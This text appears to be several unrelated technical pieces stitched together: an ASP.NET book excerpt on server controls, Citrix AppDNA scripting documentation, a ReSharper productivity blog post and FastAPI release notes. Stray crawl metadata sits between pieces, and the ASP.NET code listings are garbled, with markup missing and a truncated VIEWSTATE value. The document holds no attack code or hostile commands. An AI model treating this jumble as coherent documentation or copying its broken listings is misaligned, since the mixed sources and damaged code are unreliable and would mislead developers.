Example 4-5 and Example 4-6 demonstrate the use of ASP controls in a web page analogous to the HTML server controls of Example 4-1 and Example 4-2. They show the use of the TextBox and Button ASP controls, rather than of the HTML controls.
Example 4-5. Code listing for csASPServerControls1.aspx
<%@ Page void btnBookName_Click(Object Source, EventArgs E) { lblBookName.Text = txtBookName.Text; } <>
Example 4-6. Code listing for vbASPServerControls1.aspx
<%@ Page sub btnBookName_Click(ByVal Sender as Object, _ ByVal e as EventArgs) lblBookName.Text = txtBookName.Text end sub <>
The
immediate difference between HTML
server controls and ASP controls is how the control is referenced in
code. In addition to the obvious fact that the controls have
different names, the ASP controls are preceded by the ASP namespace.
This is indicated by the
asp: in front of each
control name. For example:
<asp:TextBox
Another difference between the HTML server controls and the ASP
controls is the slightly different attribute name used for the
displayed text. In many HTML controls (including
<input> tags),
value is
used to specify the text that will be displayed by the control. In
ASP controls,
text is always the attribute name
used to specify the text that will be displayed.
In Example 4-5 and Example 4-6,
this difference is seen in all three ASP controls used in the page,
as well as in the btnBookName method, which makes reference to the
text attribute for two of the controls.
As you will see later in this chapter and in Chapter 5, ASP controls offer a set of attributes for each control that is more consistent than the attributes available to HTML server controls. In actuality, the attributes are not really attributes, but rather properties of the ASP control, and they are programmatically accessible.
Just as with the HTML server controls, ASP controls have an
attribute
called
onClick, which defines the event handler
for the Click event. In the examples, it points to the method
btnBookName_Click,
defined in the script
block at the top of the code.
Figure 4-4 shows the page that results from Example 4-5 and Example 4-6.
Figure 4-4. Output from Example 4-5 or Example 4-6
The browser never sees the ASP control. The server processes the ASP control and sends standard HTML to the browser.
ASP.NET considers browsers to be either uplevel or downlevel. Uplevel browsers support script Versions 1.2 (ECMA Script, JavaScript, JScript) and HTML 4.0; typical uplevel browsers would include Internet Explorer 4.0 and later releases. Downlevel browsers, on the other hand, support only HTML 3.2.
ASP.NET can tell you which browser is being used to display the page. This information is made available via the HttpRequest.Browser property. HttpRequest.Browser returns a HttpBrowserCapabilities object whose many properties include a number of Booleans, such as whether the browser supports cookies, frames, and so forth.
You will find that you don’t often need to check the HttpBrowserCapabilities object because the server will automatically convert your HTML to reflect the capabilities of the client browser. For example, validation controls (considered in Chapter 8) can be used to validate customer data entry. If the user’s browser supports client-side JavaScript, the validation will happen on the client. However, if the browser does not support client-side scripting, then the validation is done server-side.
Custom programming to support various browsers has been incorporated into the ASP.NET framework, freeing you to focus on the larger task at hand. From within your browser, view the source for the web page displayed in Figure 4-4, and originally coded in Example 4-5. This source is shown in Example 4-7. (The HTML output produced by Example 4-6 is comparable.) Notice that there are no ASP controls, but that all the controls have been converted to traditional HTML tags. Also, note that a hidden field with the name “_ _VIEWSTATE” has been inserted into the output. This is how ASP.NET maintains the state of the controls. When a page is submitted to the server and then redisplayed, the controls are not reset to their default values. Chapter 6 discusses state.
Example 4-7. Output HTML from csASPServerControls.asx
<html> <body> <form name="ctrl2" method="post" action="aspservercontrols.aspx" id="ctrl2"> <input type="hidden" name="_ _VIEWSTATE" value="dDwtMTA4MDU5NDMzODt0PDtsPDE8Mj47PjtsPHQ8O2w8MTwwPjsxPDI+Oz47bDx0PHA8cDxsPFRleHQ7Pj tsPFByb2dyYW1taW5nIEFTUC5ORVQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFByb2dyYW1taW5nIEFTUC5ORVQ 7Pj47Pjs7Pjs+Pjs+Pjs+yvuEznOtPM0uYYSNQ+ <br/> <br/> <br/> <input type="submit" name="btnBookName" value="Book Name" id="btnBookName" /> <br/> <br/> <span id="lblBookName">Programming ASP.NET</span> </form> </body> </html>
All the ASP controls except for the Repeater (discussed in Chapter 13) derive from the WebControl class. The WebControl class and the Repeater class both derive from System.Web.UI.Control, which itself derives from System.Object. The Repeater class, the WebControl class, and all the controls that derive from WebControl are in the System.Web.UI.WebControls namespace. These relationships are shown in Figure 4-5.
All of the properties, events, and methods of WebControl and System.Web.UI.Control are inherited by the ASP controls. Table 4-2 lists many of the commonly used properties inherited by all the ASP controls. Where applicable, default values are indicated.
The two types of server controls (HTML server controls and ASP controls) have nearly the same functionality. The advantages of each type are summarized in Table 4-3.
No credit card required | https://www.oreilly.com/library/view/programming-aspnet-second/0596004877/ch04s02.html | CC-MAIN-2019-22 | refinedweb | 1,067 | 56.96 |
By default all scenario and task scripts are compiled as Visual Basic .NET 2.0 (VB .NET). For comprehensive Visual Basic .NET documentation, see.
You can choose to compile task scripts (but not scenarios) as C# 2.0. To do this, start the task script with the following string:
Language CSharp
However, the AppDNA script editor supports syntax highlighting only for Visual Basic .NET.
Scenario and task scripts are compiled in memory to a .NET assembly. They can therefore utilize the entire .NET Framework and any other assemblies in the Global Assembly Cache (GAC). For example, you can use any of the classes available in the System.Collections.Generic namespace. (See the MSDN Library for documentation of this namespace.)
Task scripts have an automatic reference to the AppDNA.AppTitude.Scripting assembly.
You can specify assemblies by using the LoadAssembly extension syntax. For example:
LoadAssembly System.Windows.Forms.dll
If the assembly is not in the GAC, you must specify the complete path. This does not impact the use of Import with namespaces.
When the language is VB .NET, you can use the following syntax for strings:
<multiline_string>xxxx</multiline_string>
Where xxxx is a string. Before compilation, the parser turns this into a VB .NET string literal. This makes it easier to specify strings that span multiple lines within the script than is possible using standard VB .NET syntax.
For example:
Dim s As String = <multiline_string>; '---Some vbscript Option Explicit Wscript.Echo "string" </multiline_string>
Becomes:
Dim s As String = "" & Microsoft.VisualBasic.Constants.vbCRLF & __ " '---Some vbscript" & Microsoft.VisualBasic.Constants.vbCRLF & _ " Option Explicit" & Microsoft.VisualBasic.Constants.vbCRLF & _ " Wscript.Echo ""string""" & Microsoft.VisualBasic.Constants.vbCRLF & _ " "
A basic Forward Path scenario script consists of a function that defines the output columns in the Forward Path report. The following example is the basic scenario that is created when you click New Scenario on the main toolbar.
Public Function ForwardPath(ByVal currentApplication As Application) As Output ' TODO: Your new Forward Path Logic definition must be defined here. ' For Help, please refer to the sample Forward Path scripts which ' have been provided. Dim myForwardpathresult As New Output() myForwardpathresult.Outcome = "Sample Outcome" myForwardpathresult.Cost = 100 myForwardpathresult.RAG = RAG.Green ForwardPath = myForwardpathresult End Function
The signature of the function is important and the function must return an Output object that defines at least one output column. If you want to associate task scripts with the scenario, you must define the Outcome output column.
Notice that an Application object is passed into the function. The function is run for every application that is currently selected and the Application object that is passed into the function represents the application that is currently being processed.
Use the Property Explorer on the right side of the Forward Path Logic Editor screen to explore the structure of the Application and Output objects. (The Output object is shown as the ForwardPathReportOutput in the Property Explorer.)
The scenario script can include additional functions that allow you aggregate application data by group and to generate report-level totals. See Grouped Forward Path reports for more information.
Task scripts must have the following form:
Imports AppDNA.AppTitude.Scripting Public Class ScriptClass Public Function Start(controller As IActionController) As TaskStatusEnum ' Do stuff Start = TaskStatusEnum.Complete End Function End Class
The names and accessibility of the class and the signature of the function are important. Beyond that, any VB .NET constructs are valid.
Click Task Script Help on the toolbar to view documentation of the AppDNA APIs that are available to task scripts. | https://docs.citrix.com/en-us/dna/7-13/configure/forward-path/dna-forward-path-script-specs.html | CC-MAIN-2018-26 | refinedweb | 586 | 51.14 |
How Resharper rocks my average work day.
Enter ALT+Enter
ALT+Enter is the hotkey that you have to start with. It’s a context sensitive beast that will do the most stuff for you.
Working with classes
Let’s say that I create a new class:
public class UserRepository { }
DbContext. So I create a new member field:
public class UserRepository { DbContext _dbContext; }
however, when I type the semicolon resharper inserts
private for me:
public class UserRepository { private DbContext _dbContext; }
Resharper sees that it has not been initialized and gives a warning (hoover over the field):
Pressing ALT+ENTER creates a constructor for me:
which results in:
class UserRepository { private DbContext _dbContext; public UserRepository(DbContext dbContext) { if (dbContext == null) throw new ArgumentNullException("dbContext"); _dbContext = dbContext; } }
now I want to make sure that
null is not passed in, so I press ALT+ENTER on the argument:
Now I want to cache the users. So I need to reference the cache which exists in another project. I do that by writing the name and use ALT+ENTER:
That step will add a reference to the other project and import the correct namespace. After that I press ALT+ENTER again on the field name and add a constructor.
Renaming files
Let’s say that I’ve renamed a class by just typing a new name (the file name is still the old one):
I then press ALT+Enter on the class name:
the file is now renamed.
Update namespaces
The file in the previous example should also be moved to a new folder. So I just drag it to the new one folder. However, the namespace is not correct now, so Resharper gives a warning (by a visual indication = the blue underline):
which means that I can just press ALT+ENTER on it to rename the namespace (which also updates all usages in the solution).
Summary
ALT+ENTER alone saves you a lot of typing and clicking. But most important: You get a much better flow when coding. No annoying stops for basic bootstrapping.
Unit tests
Resharper gives you a new unit test browser and context actions for each test.
Let’s say that you create a simple test:
which you run:
and get a result
The call stack is clickable which makes it easier to browse through the call stack to get an understanding of why the test failed. Anything written to the console (
Console.WriteLine()) also gets included in the output.
Code navigation
The code completion in Resharper allows you to use abbreviations (the camel humps) to complete text:
If I type one more letter I only get one match
When you code against abstractions (interfaces) you’ll probably want to go to the implementation. ReSharper adds a new context menu item which allows you to do so:
If there are only one implementation it’s opened directly. If there are more than one you get a list:
CTRL+T opens up a dialog which you can use to navigate to any type. You can either type abbreviations or partial names:
CTRL+SHIFT+T is similar, but is used for files:
Finally we have “Find usages” which analyses the code and finds where a type/method is used
Code cleanup
This well structured file can be only better:
I press ALT+E, C to initiate the cleanup dialog:
The “usevar” is my own custom rule where I change all possible usages to use
var over explicit declarations.
Result:
Notice that the property got moved up above the method and that unused “using” directives where removed. You can also automatically sort methods and properties.
Finally Resharper shows a warning about the property (since it’s not initialized). ALT+Enter and choose to initialize it using a constructor solves that:
Summary
Those are the features that I use most. What are your favorite feature? | https://dzone.com/articles/how-resharper-rocks-my-average?mz=110215-high-perf | CC-MAIN-2015-40 | refinedweb | 641 | 57.61 |
Release Notes¶
Warning
The current page still doesn't have a translation for this language.
But you can help translating it: Contributing.
Latest Changes¶
0.85.0¶
Features¶
- ⬆ Upgrade version required of Starlette from
0.19.1to
0.20.4. Initial PR #4820 by @Kludex.
- This includes several bug fixes in Starlette.
- ⬆️ Upgrade Uvicorn max version in public extras: all. From
>=0.12.0,<0.18.0to
>=0.12.0,<0.19.0. PR #5401 by @tiangolo.
Internal¶
- ⬆️ Upgrade dependencies for doc and dev internal extras: Typer, Uvicorn. PR #5400 by @tiangolo.
- ⬆️ Upgrade test dependencies: Black, HTTPX, databases, types-ujson. PR #5399 by @tiangolo.
- ⬆️ Upgrade mypy and tweak internal type annotations. PR #5398 by @tiangolo.
- 🔧 Update test dependencies, upgrade Pytest, move dependencies from dev to test. PR #5396 by @tiangolo.
0.84.0¶
Breaking Changes¶
This version of FastAPI drops support for Python 3.6. 🔥 Please upgrade to a supported version of Python (3.7 or above), Python 3.6 reached the end-of-life a long time ago. 😅☠
- 🔧 Update package metadata, drop support for Python 3.6, move build internals from Flit to Hatch. PR #5240 by @ofek.
0.83
Fixes¶
- 🐛 Fix
RuntimeErrorraised when
HTTPExceptionhas a status code with no content. PR #5365 by @iudeen.
- 🐛 Fix empty reponse body when default
status_codeis empty but the a
Responseparameter with
response.status_codeis set. PR #5360 by @tmeckel.
Docs¶
Internal¶
- ⬆ [pre-commit.ci] pre-commit autoupdate. PR #5352 by @pre-commit-ci[bot].
0.82
- ✨ Export
WebSocketStatein
fastapi.websockets. PR #4376 by @matiuszka.
- ✨ Support Python internal description on Pydantic model's docstring. PR #3032 by @Kludex.
- ✨ Update
ORJSONResponseto support non
strkeys and serializing Numpy arrays. PR #3892 by @baby5.
Fixes¶
- 🐛 Allow exit code for dependencies with
yieldto always execute, by removing capacity limiter for them, to e.g. allow closing DB connections without deadlocks. PR #5122 by @adriangb.
- 🐛 Fix FastAPI People GitHub Action: set HTTPX timeout for GraphQL query request. PR #5222 by @iudeen.
- 🐛 Make sure a parameter defined as required is kept required in OpenAPI even if defined as optional in another dependency. PR #4319 by @cd17822.
- 🐛 Fix support for path parameters in WebSockets. PR #3879 by @davidbrochart.
Docs¶
- ✏ Update Hypercorn link, now pointing to GitHub. PR #5346 by @baconfield.
- ✏ Tweak wording in
docs/en/docs/advanced/dataclasses.md. PR #3698 by @pfackeldey.
- 📝 Add note about Python 3.10
X | Yoperator in explanation about Response Models. PR #5307 by @MendyLanda.
- 📝 Add link to New Relic article: "How to monitor FastAPI application performance using Python agent". PR #5260 by @sjyothi54.
- 📝 Update docs for
ORJSONResponsewith details about improving performance. PR #2615 by @falkben.
- 📝 Add docs for creating a custom Response class. PR #5331 by @tiangolo.
- 📝 Add tip about using alias for form data fields. PR #5329 by @tiangolo.
Translations¶
- 🌐 Add Russian translation for
docs/ru/docs/features.md. PR #5315 by @Xewus.
- 🌐 Update Chinese translation for
docs/zh/docs/tutorial/request-files.md. PR #4529 by @ASpathfinder.
- 🌐 Add Chinese translation for
docs/zh/docs/tutorial/encoder.md. PR #4969 by @Zssaer.
- 🌐 Fix MkDocs file line for Portuguese translation of
background-task.md. PR #5242 by @ComicShrimp.
Internal¶
- 👥 Update FastAPI People. PR #5347 by @github-actions[bot].
- ⬆ Bump dawidd6/action-download-artifact from 2.22.0 to 2.23.0. PR #5321 by @dependabot[bot].
- ⬆ [pre-commit.ci] pre-commit autoupdate. PR #5318 by @pre-commit-ci[bot].
- ✏ Fix a small code highlight line error. PR #5256 by @hjlarry.
- ♻ Internal small refactor, move
operation_idparameter position in delete method for consistency with the code. PR #4474 by @hiel.
- 🔧 Update sponsors, disable ImgWhale. PR #5338 by @tiangolo.
0.81.0¶
Features¶
- ✨ Add ReDoc
<noscript>warning when JS is disabled. PR #5074 by @evroon.
- ✨ Add support for
FrozenSetin parameters (e.g. query). PR #2938 by @juntatalor.
- ✨ Allow custom middlewares to raise
HTTPExceptions and propagate them. PR #2036 by @ghandic.
- ✨ Preserve
json.JSONDecodeErrorinformation when handling invalid JSON in request body, to support custom exception handlers that use its information. PR #4057 by @UKnowWhoIm.
Fixes¶
- 🐛 Fix
jsonable_encoderfor dataclasses with pydantic-compatible fields. PR #3607 by @himbeles.
- 🐛 Fix support for extending
openapi_extraswith parameter lists. PR #4267 by @orilevari.
Docs¶
- ✏ Fix a simple typo in
docs/en/docs/python-types.md. PR #5193 by @GlitchingCore.
- ✏ Fix typos in
tests/test_schema_extra_examples.py. PR #5126 by @supraaxdd.
- ✏ Fix typos in
docs/en/docs/tutorial/path-params-numeric-validations.md. PR #5142 by @invisibleroads.
- 📝 Add step about upgrading pip in the venv to avoid errors when installing dependencies
docs/en/docs/contributing.md. PR #5181 by @edisnake.
- ✏ Reword and clarify text in tutorial
docs/en/docs/tutorial/body-nested-models.md. PR #5169 by @papb.
- ✏ Fix minor typo in
docs/en/docs/features.md. PR #5206 by @OtherBarry.
- ✏ Fix minor typos in
docs/en/docs/async.md. PR #5125 by @Ksenofanex.
- 📝 Add external link to docs: "Fastapi, Docker(Docker compose) and Postgres". PR #5033 by @krishnardt.
- 📝 Simplify example for docs for Additional Responses, remove unnecessary
else. PR #4693 by @adriangb.
- 📝 Update docs, compare enums with identity instead of equality. PR #4905 by @MicaelJarniac.
- ✏ Fix typo in
docs/en/docs/python-types.md. PR #4886 by @MicaelJarniac.
- 🎨 Fix syntax highlighting in docs for OpenAPI Callbacks. PR #4368 by @xncbf.
- ✏ Reword confusing sentence in docs file
typo-fix-path-params-numeric-validations.md. PR #3219 by @ccrenfroe.
- 📝 Update docs for handling HTTP Basic Auth with
secrets.compare_digest()to account for non-ASCII characters. PR #3536 by @lewoudar.
- 📝 Update docs for testing, fix examples with relative imports. PR #5302 by @tiangolo.
Translations¶
- 🌐 Add Russian translation for
docs/ru/docs/index.md. PR #5289 by @impocode.
- 🌐 Add Russian translation for
docs/ru/docs/deployment/versions.md. PR #4985 by @emp7yhead.
- 🌐 Add Portuguese translation for
docs/pt/docs/tutorial/header-params.md. PR #4921 by @batlopes.
- 🌐 Update
ko/mkdocs.ymlfor a missing link. PR #5020 by @dalinaum.
Internal¶
- ⬆ Bump dawidd6/action-download-artifact from 2.21.1 to 2.22.0. PR #5258 by @dependabot[bot].
- ⬆ [pre-commit.ci] pre-commit autoupdate. PR #5196 by @pre-commit-ci[bot].
- 🔥 Delete duplicated tests in
tests/test_tutorial/test_sql_databases/test_sql_databases.py. PR #5040 by @raccoonyy.
- ♻ Simplify internal RegEx in
fastapi/utils.py. PR #5057 by @pylounge.
- 🔧 Fix Type hint of
auto_errorwhich does not need to be
Optional[bool]. PR #4933 by @DavidKimDY.
- 🔧 Update mypy config, use
strict = trueinstead of manual configs. PR #4605 by @michaeloliverx.
- ♻ Change a
dict()for
{}in
fastapi/utils.py. PR #3138 by @ShahriyarR.
- ♻ Move internal variable for errors in
jsonable_encoderto put related code closer. PR #4560 by @GuilleQP.
- ♻ Simplify conditional assignment in
fastapi/dependencies/utils.py. PR #4597 by @cikay.
- ⬆ Upgrade version pin accepted for Flake8, for internal code, to
flake8 >=3.8.3,<6.0.0. PR #4097 by @jamescurtin.
- 🍱 Update Jina banner, fix typo. PR #5301 by @tiangolo.
0.80.0¶
Breaking Changes - Fixes¶
If you are using
response_model with some type that doesn't include
None but the function is returning
None, it will now raise an internal server error, because you are returning invalid data that violates the contract in
response_model. Before this release it would allow breaking that contract returning
None.
For example, if you have an app like this:
from fastapi import FastAPI from pydantic import BaseModel class Item(BaseModel): name: str price: Optional[float] = None owner_ids: Optional[List[int]] = None app = FastAPI() @app.get("/items/invalidnone", response_model=Item) def get_invalid_none(): return None
...calling the path
/items/invalidnone will raise an error, because
None is not a valid type for the
response_model declared with
Item.
You could also be implicitly returning
None without realizing, for example:
from fastapi import FastAPI from pydantic import BaseModel class Item(BaseModel): name: str price: Optional[float] = None owner_ids: Optional[List[int]] = None app = FastAPI() @app.get("/items/invalidnone", response_model=Item) def get_invalid_none(): if flag: return {"name": "foo"} # if flag is False, at this point the function will implicitly return None
If you have path operations using
response_model that need to be allowed to return
None, make it explicit in
response_model using
Union[Something, None]:
from typing import Union from fastapi import FastAPI from pydantic import BaseModel class Item(BaseModel): name: str price: Optional[float] = None owner_ids: Optional[List[int]] = None app = FastAPI() @app.get("/items/invalidnone", response_model=Union[Item, None]) def get_invalid_none(): return None
This way the data will be correctly validated, you won't have an internal server error, and the documentation will also reflect that this path operation could return
None (or
null in JSON).
Fixes¶
- ⬆ Upgrade Swagger UI copy of
oauth2-redirect.htmlto include fixes for flavors of authorization code flows in Swagger UI. PR #3439 initial PR by @koonpeng.
- ♻ Strip empty whitespace from description extracted from docstrings. PR #2821 by @and-semakin.
- 🐛 Fix cached dependencies when using a dependency in
Security()and other places (e.g.
Depends()) with different OAuth2 scopes. PR #2945 by @laggardkernel.
- 🎨 Update type annotations for
response_model, allow things like
Union[str, None]. PR #5294 by @tiangolo.
Translations¶
- 🌐 Fix typos in German translation for
docs/de/docs/features.md. PR #4533 by @0xflotus.
- 🌐 Add missing navigator for
encoder.mdin Korean translation. PR #5238 by @joonas-yoon.
- (Empty PR merge by accident) #4913.
0.79.1¶
Fixes¶
- 🐛 Fix
jsonable_encoderusing
includeand
excludeparameters for non-Pydantic objects. PR #2606 by @xaviml.
- 🐛 Fix edge case with repeated aliases names not shown in OpenAPI. PR #2351 by @klaa97.
- 📝 Add misc dependency installs to tutorial docs. PR #2126 by @TeoZosa.
Docs¶
- 📝 Add note giving credit for illustrations to Ketrina Thompson. PR #5284 by @tiangolo.
- ✏ Fix typo in
python-types.md. PR #5116 by @Kludex.
- ✏ Fix typo in
docs/en/docs/python-types.md. PR #5007 by @atiabbz.
- 📝 Remove unneeded Django/Flask references from async topic intro. PR #5280 by @carltongibson.
- ✨ Add illustrations for Concurrent burgers and Parallel burgers. PR #5277 by @tiangolo. Updated docs at: Concurrency and Burgers.
Translations¶
- 🌐 Add Portuguese translation for
docs/pt/docs/tutorial/query-params.md. PR #4775 by @batlopes.
- 🌐 Add Portuguese translation for
docs/pt/docs/tutorial/security/first-steps.md. PR #4954 by @FLAIR7.
- 🌐 Add translation for
docs/zh/docs/advanced/response-cookies.md. PR #4638 by @zhangbo2012.
- 🌐 Add French translation for
docs/fr/docs/deployment/index.md. PR #3689 by @rjNemo.
- 🌐 Add Portuguese translation for
tutorial/handling-errors.md. PR #4769 by @frnsimoes.
- 🌐 Add French translation for
docs/fr/docs/history-design-future.md. PR #3451 by @rjNemo.
- 🌐 Add Russian translation for
docs/ru/docs/tutorial/background-tasks.md. PR #4854 by @AdmiralDesu.
- 🌐 Add Chinese translation for
docs/tutorial/security/first-steps.md. PR #3841 by @jaystone776.
- 🌐 Add Japanese translation for
docs/ja/docs/advanced/nosql-databases.md. PR #4205 by @sUeharaE4.
- 🌐 Add Indonesian translation for
docs/id/docs/tutorial/index.md. PR #4705 by @bas-baskara.
- 🌐 Add Persian translation for
docs/fa/docs/index.mdand tweak right-to-left CSS. PR #2395 by @mohsen-mahmoodi.
Internal¶
- 🔧 Update Jina sponsorship. PR #5283 by @tiangolo.
- 🔧 Update Jina sponsorship. PR #5272 by @tiangolo.
- 🔧 Update sponsors, Striveworks badge. PR #5179 by @tiangolo.
0.79.0¶
Fixes - Breaking Changes¶
- 🐛 Fix removing body from status codes that do not support it. PR #5145 by @tiangolo.
- Setting
status_codeto
204,
304, or any code below
200(1xx) will remove the body from the response.
- This fixes an error in Uvicorn that otherwise would be thrown:
RuntimeError: Response content longer than Content-Length.
- This removes
fastapi.openapi.constants.STATUS_CODES_WITH_NO_BODY, it is replaced by a function in utils.
Translations¶
- 🌐 Start of Hebrew translation. PR #5050 by @itay-raveh.
- 🔧 Add config for Swedish translations notification. PR #5147 by @tiangolo.
- 🌐 Start of Swedish translation. PR #5062 by @MrRawbin.
- 🌐 Add Japanese translation for
docs/ja/docs/advanced/index.md. PR #5043 by @wakabame.
- 🌐🇵🇱 Add Polish translation for
docs/pl/docs/tutorial/first-steps.md. PR #5024 by @Valaraucoo.
Internal¶
- 🔧 Update translations notification for Hebrew. PR #5158 by @tiangolo.
- 🔧 Update Dependabot commit message. PR #5156 by @tiangolo.
- ⬆ Bump actions/upload-artifact from 2 to 3. PR #5148 by @dependabot[bot].
- ⬆ Bump actions/cache from 2 to 3. PR #5149 by @dependabot[bot].
- 🔧 Update sponsors badge configs. PR #5155 by @tiangolo.
- 👥 Update FastAPI People. PR #5154 by @tiangolo.
- 🔧 Update Jina sponsor badges. PR #5151 by @tiangolo.
- ⬆ Bump actions/checkout from 2 to 3. PR #5133 by @dependabot[bot].
- ⬆ [pre-commit.ci] pre-commit autoupdate. PR #5030 by @pre-commit-ci[bot].
- ⬆ Bump nwtgck/actions-netlify from 1.1.5 to 1.2.3. PR #5132 by @dependabot[bot].
- ⬆ Bump codecov/codecov-action from 2 to 3. PR #5131 by @dependabot[bot].
- ⬆ Bump dawidd6/action-download-artifact from 2.9.0 to 2.21.1. PR #5130 by @dependabot[bot].
- ⬆ Bump actions/setup-python from 2 to 4. PR #5129 by @dependabot[bot].
- 👷 Add Dependabot. PR #5128 by @tiangolo.
- ♻️ Move from
Optional[X]to
Union[X, None]for internal utils. PR #5124 by @tiangolo.
- 🔧 Update sponsors, remove Dropbase, add Doist. PR #5096 by @tiangolo.
- 🔧 Update sponsors, remove Classiq, add ImgWhale. PR #5079 by @tiangolo.
0.78.0¶
Features¶
✨ Add support for omitting
...as default value when declaring required parameters with:
Path()
Query()
Header()
Cookie()
Body()
Form()
File()
New docs at Tutorial - Query Parameters and String Validations - Make it required. PR #4906 by @tiangolo.
Up to now, declaring a required parameter while adding additional validation or metadata needed using
... (Ellipsis).
For example:
from fastapi import Cookie, FastAPI, Header, Path, Query app = FastAPI() @app.get("/items/{item_id}") def main( item_id: int = Path(default=..., gt=0), query: str = Query(default=..., max_length=10), session: str = Cookie(default=..., min_length=3), x_trace: str = Header(default=..., title="Tracing header"), ): return {"message": "Hello World"}
...all these parameters are required because the default value is
... (Ellipsis).
But now it's possible and supported to just omit the default value, as would be done with Pydantic fields, and the parameters would still be required.
✨ For example, this is now supported:
from fastapi import Cookie, FastAPI, Header, Path, Query app = FastAPI() @app.get("/items/{item_id}") def main( item_id: int = Path(gt=0), query: str = Query(max_length=10), session: str = Cookie(min_length=3), x_trace: str = Header(title="Tracing header"), ): return {"message": "Hello World"}
To declare parameters as optional (not required), you can set a default value as always, for example using
None:
from typing import Union from fastapi import Cookie, FastAPI, Header, Path, Query app = FastAPI() @app.get("/items/{item_id}") def main( item_id: int = Path(gt=0), query: Union[str, None] = Query(default=None, max_length=10), session: Union[str, None] = Cookie(default=None, min_length=3), x_trace: Union[str, None] = Header(default=None, title="Tracing header"), ): return {"message": "Hello World"}
Docs¶
- 📝 Add docs recommending
Unionover
Optionaland migrate source examples. New docs at Python Types Intro - Using
Unionor
Optional. PR #4908 by @tiangolo.
- 🎨 Fix default value as set in tutorial for Path Operations Advanced Configurations. PR #4899 by @tiangolo.
- 📝 Add documentation for redefined path operations. PR #4864 by @madkinsz.
- 📝 Updates links for Celery documentation. PR #4736 by @sammyzord.
- ✏ Fix example code with sets in tutorial for body nested models. PR #3030 by @hitrust.
- ✏ Fix links to Pydantic docs. PR #4670 by @kinuax.
- 📝 Update docs about Swagger UI self-hosting with newer source links. PR #4813 by @Kastakin.
- 📝 Add link to external article: Building the Poll App From Django Tutorial With FastAPI And React. PR #4778 by @jbrocher.
- 📝 Add OpenAPI warning to "Body - Fields" docs with extra schema extensions. PR #4846 by @ml-evs.
Translations¶
- 🌐 Fix code examples in Japanese translation for
docs/ja/docs/tutorial/testing.md. PR #4623 by @hirotoKirimaru.
Internal¶
- ♻ Refactor dict value extraction to minimize key lookups
fastapi/utils.py. PR #3139 by @ShahriyarR.
- ✅ Add tests for required nonable parameters and body fields. PR #4907 by @tiangolo.
- 👷 Fix installing Material for MkDocs Insiders in CI. PR #4897 by @tiangolo.
- 👷 Add pre-commit CI instead of custom GitHub Action. PR #4896 by @tiangolo.
- 👷 Add pre-commit GitHub Action workflow. PR #4895 by @tiangolo.
- 📝 Add dark mode auto switch to docs based on OS preference. PR #4869 by @ComicShrimp.
- 🔥 Remove un-used old pending tests, already covered in other places. PR #4891 by @tiangolo.
- 🔧 Add Python formatting hooks to pre-commit. PR #4890 by @tiangolo.
- 🔧 Add pre-commit with first config and first formatting pass. PR #4888 by @tiangolo.
- 👷 Disable CI installing Material for MkDocs in forks. PR #4410 by @dolfinus.
0.77.1¶
Upgrades¶
Docs¶
- 📝 Add link to german article: REST-API Programmieren mittels Python und dem FastAPI Modul. PR #4624 by @fschuermeyer.
- 📝 Add external link: PyCharm Guide to FastAPI. PR #4512 by @mukulmantosh.
- 📝 Add external link to article: Building an API with FastAPI and Supabase and Deploying on Deta. PR #4440 by @aUnicornDev.
- ✏ Fix small typo in
docs/en/docs/tutorial/security/first-steps.md. PR #4515 by @KikoIlievski.
Translations¶
- 🌐 Add Polish translation for
docs/pl/docs/tutorial/index.md. PR #4516 by @MKaczkow.
- ✏ Fix typo in deployment. PR #4629 by @raisulislam541.
- 🌐 Add Portuguese translation for
docs/pt/docs/help-fastapi.md. PR #4583 by @mateusjs.
Internal¶
0.77.0¶
Upgrades¶
- ⬆ Upgrade Starlette from 0.18.0 to 0.19.0. PR #4488 by @Kludex.
- When creating an explicit
JSONResponsethe
contentargument is now required.
Docs¶
- 📝 Add external link to article: Seamless FastAPI Configuration with ConfZ. PR #4414 by @silvanmelchior.
- 📝 Add external link to article: 5 Advanced Features of FastAPI You Should Try. PR #4436 by @kaustubhgupta.
- ✏ Reword to improve legibility of docs about
TestClient. PR #4389 by @rgilton.
- 📝 Add external link to blog post about Kafka, FastAPI, and Ably. PR #4044 by @Ugbot.
- ✏ Fix typo in
docs/en/docs/tutorial/sql-databases.md. PR #4875 by @wpyoga.
- ✏ Fix typo in
docs/en/docs/async.md. PR #4726 by @Prezu.
Translations¶
- 🌐 Update source example highlights for
docs/zh/docs/tutorial/query-params-str-validations.md. PR #4237 by @caimaoy.
- 🌐 Remove translation docs references to aiofiles as it's no longer needed since AnyIO. PR #3594 by @alonme.
- ✏ 🌐 Fix typo in Portuguese translation for
docs/pt/docs/tutorial/path-params.md. PR #4722 by @CleoMenezesJr.
- 🌐 Fix live docs server for translations for some languages. PR #4729 by @wakabame.
- 🌐 Add Portuguese translation for
docs/pt/docs/tutorial/cookie-params.md. PR #4112 by @lbmendes.
- 🌐 Fix French translation for
docs/tutorial/body.md. PR #4332 by @Smlep.
- 🌐 Add Japanese translation for
docs/ja/docs/advanced/conditional-openapi.md. PR #2631 by @sh0nk.
- 🌐 Fix Japanese translation of
docs/ja/docs/tutorial/body.md. PR #3062 by @a-takahashi223.
- 🌐 Add Portuguese translation for
docs/pt/docs/tutorial/background-tasks.md. PR #2170 by @izaguerreiro.
- 🌐 Add Portuguese translation for
docs/deployment/deta.md. PR #4442 by @lsglucas.
- 🌐 Add Russian translation for
docs/async.md. PR #4036 by @Winand.
- 🌐 Add Portuguese translation for
docs/tutorial/body.md. PR #3960 by @leandrodesouzadev.
- 🌐 Add Portuguese translation of
tutorial/extra-data-types.md. PR #4077 by @luccasmmg.
- 🌐 Update German translation for
docs/features.md. PR #3905 by @jomue.
0.76.0¶
Upgrades¶
Internal¶
- 👥 Update FastAPI People. PR #4847 by @github-actions[bot].
- 🔧 Add Budget Insight sponsor. PR #4824 by @tiangolo.
- 🍱 Update sponsor, ExoFlare badge. PR #4822 by @tiangolo.
- 🔧 Update sponsors, enable Dropbase again, update TalkPython link. PR #4821 by @tiangolo.
0.75.2¶
This release includes upgrades to third-party packages that handle security issues. Although there's a chance these issues don't affect you in particular, please upgrade as soon as possible.
Fixes¶
- ✅ Fix new/recent tests with new fixed
ValidationErrorJSON Schema. PR #4806 by @tiangolo.
- 🐛 Fix JSON Schema for
ValidationErrorat field
loc. PR #3810 by @dconathan.
- 🐛 Fix support for prefix on APIRouter WebSockets. PR #2640 by @Kludex.
Upgrades¶
- ⬆️ Update ujson ranges for CVE-2021-45958. PR #4804 by @tiangolo.
